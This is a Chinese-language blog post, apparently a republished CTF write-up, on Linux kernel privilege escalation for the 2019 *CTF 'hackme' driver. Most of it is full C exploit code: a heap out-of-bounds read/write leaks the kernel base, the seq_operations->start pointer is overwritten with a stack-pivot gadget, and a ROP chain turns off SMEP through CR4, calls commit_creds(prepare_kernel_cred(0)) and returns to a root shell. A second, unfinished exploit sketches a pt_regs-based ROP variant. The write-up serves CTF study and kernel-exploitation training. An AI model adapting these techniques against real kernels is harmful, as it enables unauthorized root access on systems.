網站首頁 編程語言 正文
劫持seq_operations進行棧遷移
seq_operations是一個大小為0x20的結構體,在打開/proc/self/stat會申請出來。里面定義了四個函數指針,通過他們可以泄露出內核基地址。
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
當我們read一個stat文件時,內核會調用proc_ops的proc_read_iter指針
ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
{
struct seq_file *m = iocb->ki_filp->private_data;
//...
p = m->op->start(m, &m->index);
//...
即會調用seq_operations->start指針,我們只需覆蓋start指針為特定gadget,即可控制程序執行流。
拿2019 *starctf hackme關閉smap來嘗試這種打法
exp1
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/sem.h>
#include <sys/mman.h>
int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0};
struct Heap{
size_t index;
char *data;
size_t len;
size_t offset;
};
void add(int index, size_t len, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
ioctl(fd, 0x30000, &heap);
}
void delete(int index)
{
struct Heap heap;
heap.index = index;
ioctl(fd, 0x30001, &heap);
}
void edit(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30002, &heap);
}
void show(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30003, &heap);
}
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] save the state success!");
}
void get_shell()
{
if (getuid() == 0)
{
puts("[+] get root");
//system("/bin/sh");
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
else
{
puts("[-] get shell error");
sleep(3);
exit(0);
}
}
void get_root(void)
{
//commit_creds(prepare_kernel_cred(0));
void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
void (*cc)(void *) = (void (*)(void *))commit_creds;
(*cc)((*pkc)(0));
}
int main()
{
char buf[0x1000] = {0};
int i;
size_t seq_data[4] = {0};
save_status();
fd = open("/dev/hackme",0);
if(fd < 0)
{
puts("[-] open file error");
exit(0);
}
add(0, 0x20, buf); // 0
add(1, 0x20, buf); // 1
add(2, 0x20, buf); // 2
add(3, 0x20, buf); // 3
delete(0);
delete(2);
int fd_seq = open("/proc/self/stat", 0);
if(fd_seq < 0)
{
puts("[-] open stat error");
exit(0);
}
show(3, 0x20, -0x20, buf);
vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;
printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
off = vmlinux_base - raw_vmlinux_base;
commit_creds = off + 0xffffffff8104d220;
prepare_kernel_cred = off + 0xffffffff8104d3d0;
show(1, 0x20, -0x20, buf);
heap_base = ((size_t *)buf)[0] - 0x80;
printf("[+] heap_base=> 0x%lx\n", heap_base);
i = 0;
rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;
rop[i++] = 0x6f0;
rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
((size_t *)buf)[0] = off + 0xffffffff8103018e; // xchg eax, esp; ret;
edit(3, 0x20, -0x20, buf);
size_t fake_stack = (heap_base + 0x40) & 0xffffffff;
size_t mmap_base = fake_stack & 0xfffff000;
if(mmap((void *)mmap_base, 0x30000, 7, 0x22, -1, 0) != (void *)mmap_base)
{
puts("[-] mmap error");
sleep(3);
exit(0);
}
else
puts("[+] mmap success");
memcpy((void *)fake_stack, rop, sizeof(rop));
read(fd_seq, buf, 1);
return 0;
}
利用pt_regs
可以寫一段如下匯編來控制程序執行流,再通過將寄存器押上棧進行ROP
__asm__(
"mov r15, 0x1111111111;"
"mov r14, 0x2222222222;"
"mov r13, 0x3333333333;"
"mov r12, 0x4444444444;"
"mov rbp, 0x5555555555;"
"mov rbx, 0x6666666666;"
"mov r11, 0x7777777777;"
"mov r10, 0x8888888888;"
"mov r9, 0x9999999999;"
"mov r8, 0xaaaaaaaaaa;"
"mov rcx, 0x666666;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, fd_seq;"
"xor rax, rax;"
"syscall"
);
這是為什么呢?大家都知道系統調用是通過布置好寄存器的值之后執行syscall的過程,通過門結構進入到內核中的entry_SYSCALL_64函數。這個函數的內部存在這樣一條指令:?
PUSH_AND_CLEAR_REGS rax=$-ENOSYS
這個指令很巧妙,他會把所有的寄存器壓到棧上形成一個pt_regs結構體,位于內核棧底。
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};
這里寄存器r8-r15都會被放到棧上,如果我們可以合理控制好這些寄存器的值,再找到一個add rsp, xxxh; ret;的寄存器放在seq_operations->start的位置,那么就可以控制程序執行流,考慮到一般這里棧上連續存放的寄存器一般只有4-5個
我們可以用commit_creds(&init_cred)來代替commit_creds(prepare_kernel_cred(NULL)),
布局如下:
pop_rdi_ret;
init_cred;
commit_creds;
swapgs_restore_regs_and_return_to_usermode;
由于我這里并沒有能找到合適的add rsp, xxxh; ret;,故就留一個調試半成品exp
exp2
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/sem.h>
#include <sys/mman.h>
int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0};
int fd_seq;
struct Heap{
size_t index;
char *data;
size_t len;
size_t offset;
};
void add(int index, size_t len, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
ioctl(fd, 0x30000, &heap);
}
void delete(int index)
{
struct Heap heap;
heap.index = index;
ioctl(fd, 0x30001, &heap);
}
void edit(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30002, &heap);
}
void show(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30003, &heap);
}
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] save the state success!");
}
void get_shell()
{
if (getuid() == 0)
{
puts("[+] get root");
//system("/bin/sh");
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
else
{
puts("[-] get shell error");
sleep(3);
exit(0);
}
}
void get_root(void)
{
//commit_creds(prepare_kernel_cred(0));
void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
void (*cc)(void *) = (void (*)(void *))commit_creds;
(*cc)((*pkc)(0));
}
int main()
{
char buf[0x1000] = {0};
int i;
size_t seq_data[4] = {0};
save_status();
fd = open("/dev/hackme",0);
if(fd < 0)
{
puts("[-] open file error");
exit(0);
}
add(0, 0x20, buf); // 0
add(1, 0x20, buf); // 1
delete(0);
fd_seq = open("/proc/self/stat", 0);
if(fd_seq < 0)
{
puts("[-] open stat error");
exit(0);
}
show(1, 0x20, -0x20, buf);
vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;
printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
off = vmlinux_base - raw_vmlinux_base;
commit_creds = off + 0xffffffff8104d220;
prepare_kernel_cred = off + 0xffffffff8104d3d0;
size_t gadget = 0xffffffff8103018e; // xchg eax, esp; ret;
((size_t *)buf)[0] = gadget;
edit(1, 0x20, -0x20, buf);
__asm__(
"mov r15, 0x1111111111;"
"mov r14, 0x2222222222;"
"mov r13, 0x3333333333;"
"mov r12, 0x4444444444;"
"mov rbp, 0x5555555555;"
"mov rbx, 0x6666666666;"
"mov r11, 0x7777777777;"
"mov r10, 0x8888888888;"
"mov r9, 0x9999999999;"
"mov r8, 0xaaaaaaaaaa;"
"mov rcx, 0x666666;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, fd_seq;"
"xor rax, rax;"
"syscall"
);
return 0;
}
原文鏈接:https://www.cnblogs.com/pwnfeifei/p/16246790.html
相關推薦
- 2022-05-29 Android?老生常談LayoutInflater的新認知_Android
- 2023-01-18 你不知道的C++中namespace和using的用法實例_C 語言
- 2022-09-15 C#獲取文件名和文件路徑的兩種實現方式_C#教程
- 2022-02-13 使用filter過濾器計算數組中符合條件的長度
- 2022-12-12 Flutter手機權限檢查與申請實現方法詳解_Android
- 2022-06-22 SQL實現篩選出連續3天登錄用戶與窗口函數的示例代碼_MsSql
- 2022-08-13 二分查找思路及模板
- 2022-06-29 Android實用小技巧之利用Lifecycle寫出更好維護的代碼_Android
- 最近更新
-
- window11 系統安裝 yarn
- 超詳細win安裝深度學習環境2025年最新版(
- Linux 中運行的top命令 怎么退出?
- MySQL 中decimal 的用法? 存儲小
- get 、set 、toString 方法的使
- @Resource和 @Autowired注解
- Java基礎操作-- 運算符,流程控制 Flo
- 1. Int 和Integer 的區別,Jav
- spring @retryable不生效的一種
- Spring Security之認證信息的處理
- Spring Security之認證過濾器
- Spring Security概述快速入門
- Spring Security之配置體系
- 【SpringBoot】SpringCache
- Spring Security之基于方法配置權
- redisson分布式鎖中waittime的設
- maven:解決release錯誤:Artif
- restTemplate使用總結
- Spring Security之安全異常處理
- MybatisPlus優雅實現加密?
- Spring ioc容器與Bean的生命周期。
- 【探索SpringCloud】服務發現-Nac
- Spring Security之基于HttpR
- Redis 底層數據結構-簡單動態字符串(SD
- arthas操作spring被代理目標對象命令
- Spring中的單例模式應用詳解
- 聊聊消息隊列,發送消息的4種方式
- bootspring第三方資源配置管理
- GIT同步修改后的遠程分支